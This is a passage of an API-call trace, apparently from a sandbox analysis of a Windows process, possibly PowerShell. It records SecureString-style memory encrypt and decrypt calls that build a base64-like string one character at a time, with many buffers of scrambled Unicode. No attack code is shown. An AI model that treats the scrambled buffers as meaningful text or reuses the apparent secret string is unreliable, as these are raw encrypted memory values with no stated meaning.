Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.089] SysStringLen (param_1="香㭊螽᠋渜旆ڇ㕫춧䉥≕푐劜⚅") returned 0x10 [0246.089] SysStringLen (param_1="香㭊螽᠋渜旆ڇ㕫춧䉥≕푐劜⚅") returned 0x10 [0246.089] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.089] SysStringLen (param_1="OQyKsv4Pd1XR鏤\뗘밖⋋) returned 0x10 [0246.089] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.089] SysStringLen (param_1="香㭊螽᠋渜旆ڇ甋扭ﮖ裡鼦ꏕ㱺⪰") returned 0x10 [0246.090] SysStringLen (param_1="香㭊螽᠋渜旆ڇ甋扭ﮖ裡鼦ꏕ㱺⪰") returned 0x10 [0246.090] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.090] SysStringLen (param_1="OQyKsv4Pd1XRn\뗘밖⋋) returned 0x10 [0246.090] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.090] SysStringLen (param_1="香㭊螽᠋渜旆ڇ胰෈ⱚ㵊ꛍ훲渜") returned 0x10 [0246.090] SysStringLen (param_1="香㭊螽᠋渜旆ڇ胰෈ⱚ㵊ꛍ훲渜") returned 0x10 [0246.090] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.090] SysStringLen (param_1="OQyKsv4Pd1XRn0ᚵ쮼") returned 0x10 [0246.090] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.090] SysStringLen (param_1="香㭊螽᠋渜旆ڇ諯ퟣ喰⑎Ბ\⿝ᕅ∯) returned 0x10 [0246.090] SysStringLen (param_1="香㭊螽᠋渜旆ڇ諯ퟣ喰⑎Ბ\⿝ᕅ∯) returned 0x10 [0246.090] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.091] SysStringLen (param_1="OQyKsv4Pd1XRn0S쮼") returned 0x10 [0246.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.091] SysStringLen (param_1="香㭊螽᠋渜旆ڇ惩䕤콴\틙뼨ԝ㋦⊜) returned 0x10 [0246.091] SysStringLen (param_1="香㭊螽᠋渜旆ڇ惩䕤콴\틙뼨ԝ㋦⊜) returned 0x10 [0246.091] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.091] SysStringLen (param_1="OQyKsv4Pd1XRn0S5") returned 0x10 [0246.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.091] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ") returned 0x10 [0246.091] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ") returned 0x10 [0246.091] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ") returned 0x10 [0246.092] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ") returned 0x18 [0246.092] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.092] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+瘎柁䰌ۤ꿠弟 ") returned 0x18 [0246.092] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.092] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ뙙ᒔᇠ쭬弨你镜⪰") returned 0x18 [0246.092] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ뙙ᒔᇠ쭬弨你镜⪰") returned 0x18 [0246.092] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.092] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+h柁䰌ۤ꿠弟 ") returned 0x18 [0246.092] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.092] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ푓ꛭ≟択뭃뿡") returned 0x18 [0246.092] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ푓ꛭ≟択뭃뿡") returned 0x18 [0246.092] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.093] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE䰌ۤ꿠弟 ") returned 0x18 [0246.093] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.093] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬᙯ嫝降츕樢⎠릣鑍") returned 0x18 [0246.093] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬᙯ嫝降츕樢⎠릣鑍") returned 0x18 [0246.093] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.093] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1ۤ꿠弟 ") returned 0x18 [0246.093] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.093] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ脁뚕腺噆⍄绀῰솒") returned 0x18 [0246.093] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ脁뚕腺噆⍄绀῰솒") returned 0x18 [0246.093] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.093] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1O꿠弟 ") returned 0x18 [0246.093] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.094] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ깬쎲ﲉ蛣路잙둰ธ") returned 0x18 [0246.094] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ깬쎲ﲉ蛣路잙둰ธ") returned 0x18 [0246.094] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.094] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz弟 ") returned 0x18 [0246.094] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.094] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ檊搑㽢櫲㋊𢡄컍") returned 0x18 [0246.094] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ檊搑㽢櫲㋊𢡄컍") returned 0x18 [0246.094] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.094] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7 ") returned 0x18 [0246.094] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.094] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ宩콧얯ܓ䚦뙘キ槐") returned 0x18 [0246.094] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬ宩콧얯ܓ䚦뙘キ槐") returned 0x18 [0246.094] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.094] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7p") returned 0x18 [0246.095] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.095] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈") returned 0x18 [0246.095] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈") returned 0x18 [0246.095] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈") returned 0x18 [0246.095] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈") returned 0x20 [0246.095] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.095] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7po퟽ⲳ銪큆枏詳") returned 0x20 [0246.095] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.096] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈鰱䏗闀ㅡ︗⹽績") returned 0x20 [0246.096] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈鰱䏗闀ㅡ︗⹽績") returned 0x20 [0246.096] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.096] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponⲳ銪큆枏詳") returned 0x20 [0246.096] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.096] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈絑肀좧忴췱捝⟛켸") returned 0x20 [0246.096] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈絑肀좧忴췱捝⟛켸") returned 0x20 [0246.096] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.096] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN銪큆枏詳") returned 0x20 [0246.096] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.096] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈쒱눚ﴼ笡傆訚트") returned 0x20 [0246.096] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈쒱눚ﴼ笡傆訚트") returned 0x20 [0246.096] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.097] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6큆枏詳") returned 0x20 [0246.097] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.097] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈ꬾ粪⻮ଆⵘ巂ㆯꮚ") returned 0x20 [0246.097] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈ꬾ粪⻮ଆⵘ巂ㆯꮚ") returned 0x20 [0246.097] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.097] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6a큆枏詳") returned 0x20 [0246.097] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.097] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈掯뵔셓⊝녜䀼ꣾ⃙") returned 0x20 [0246.097] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈掯뵔셓⊝녜䀼ꣾ⃙") returned 0x20 [0246.097] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.097] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw枏詳") returned 0x20 [0246.097] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.098] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈㔄뗡펨돚ꛐ쭃ǁ") returned 0x20 [0246.098] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈㔄뗡펨돚ꛐ쭃ǁ") returned 0x20 [0246.098] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.098] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw0詳") returned 0x20 [0246.098] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.098] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈៮얡節蜖飿넵佫") returned 0x20 [0246.098] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈៮얡節蜖飿넵佫") returned 0x20 [0246.098] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.098] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00") returned 0x20 [0246.098] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.098] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅") returned 0x20 [0246.099] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅") returned 0x20 [0246.099] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅") returned 0x20 [0246.099] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅￿￿\x02") returned 0x28 [0246.099] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.099] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00V⺇琲뫠砯욪똁ඡ") returned 0x28 [0246.099] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.099] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅㛓珫흯咮㉐⫥熿") returned 0x28 [0246.099] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅㛓珫흯咮㉐⫥熿") returned 0x28 [0246.099] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.099] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00Vt琲뫠砯욪똁ඡ") returned 0x28 [0246.099] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.100] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅홺ꐇ껝☓몧댾区䥒") returned 0x28 [0246.100] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅홺ꐇ껝☓몧댾区䥒") returned 0x28 [0246.100] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.100] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtC뫠砯욪똁ඡ") returned 0x28 [0246.100] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.100] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅傝꘩٠彀ᖕ뽺䭿俢") returned 0x28 [0246.100] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅傝꘩٠彀ᖕ뽺䭿俢") returned 0x28 [0246.100] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.100] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtCh砯욪똁ඡ") returned 0x28 [0246.100] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.100] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅沦漷묻⡛뻬轑") returned 0x28 [0246.100] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅沦漷묻⡛뻬轑") returned 0x28 [0246.100] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.101] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChY욪똁ඡ") returned 0x28 [0246.101] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.101] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅ퟅ➢歺\x80뙑ﰃ") returned 0x28 [0246.101] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅ퟅ➢歺\x80뙑ﰃ") returned 0x28 [0246.101] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.101] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD똁ඡ") returned 0x28 [0246.101] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.101] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅⊑졟实꠨陖麗") returned 0x28 [0246.101] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅⊑졟实꠨陖麗") returned 0x28 [0246.101] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.101] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD3ඡ") returned 0x28 [0246.101] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.101] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅䞠㉙瑓╬无㙍꿼") returned 0x28 [0246.101] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅䞠㉙瑓╬无㙍꿼") returned 0x28 [0246.101] SystemFunction041 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.102] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD3p") returned 0x28 [0246.102] SystemFunction040 (in: Memory=0x5c9b874, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b874) returned 0x0 [0246.102] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ") returned 0x28 [0246.102] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ") returned 0x28 [0246.102] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ") returned 0x28 [0246.102] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ") returned 0x30 [0246.102] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.102] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD3p2㽀\凞꺪ᓔ뇬⋟) returned 0x30 [0246.103] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.103] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ퇸稹䌯妵ꌘ䄵뙇挜") returned 0x30 [0246.103] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ퇸稹䌯妵ꌘ䄵뙇挜") returned 0x30 [0246.103] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.103] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD3p25\凞꺪ᓔ뇬⋟) returned 0x30 [0246.103] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.103] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ勇䶂멪쒗譱఻貟") returned 0x30 [0246.103] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ勇䶂멪쒗譱఻貟") returned 0x30 [0246.103] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.103] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD3p25g꩑풮\⋟) returned 0x30 [0246.103] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.103] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ䠰ꄉ繌ᢎ잋\⟜∁) returned 0x30 [0246.103] SysStringLen (param_1="香㭊螽᠋渜旆ڇꞵ些Ⴈ贋ᦟⱬԁ寚⡤篙昹ᓼ䝈腵ꉖ៴零ȼ䰅溢ߕꤗ႟彁婫껂ወ䠰ꄉ繌ᢎ잋\⟜∁) returned 0x30 [0246.103] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.104] SysStringLen (param_1="OQyKsv4Pd1XRn0S5+hE1Oz7ponN6aw00VtChYD3p25g=풮\⋟) returned 0x30 [0246.104] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0246.104] EtwEventActivityIdControl () returned 0x0 [0246.104] EtwEventActivityIdControl () returned 0x0 [0246.104] EtwEventActivityIdControl () returned 0x0 [0246.104] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.105] EtwEventActivityIdControl () returned 0x0 [0246.105] EtwEventActivityIdControl () returned 0x0 [0246.105] EtwEventActivityIdControl () returned 0x0 [0246.105] SysStringLen (param_1="") returned 0x8 [0246.106] SysStringLen (param_1="N") returned 0x8 [0246.106] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.106] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.106] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.106] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.106] SysStringLen (param_1="ND") returned 0x8 [0246.106] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.106] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.106] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.106] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.106] SysStringLen (param_1="NDZ") returned 0x8 [0246.106] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.107] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.107] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.107] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.107] SysStringLen 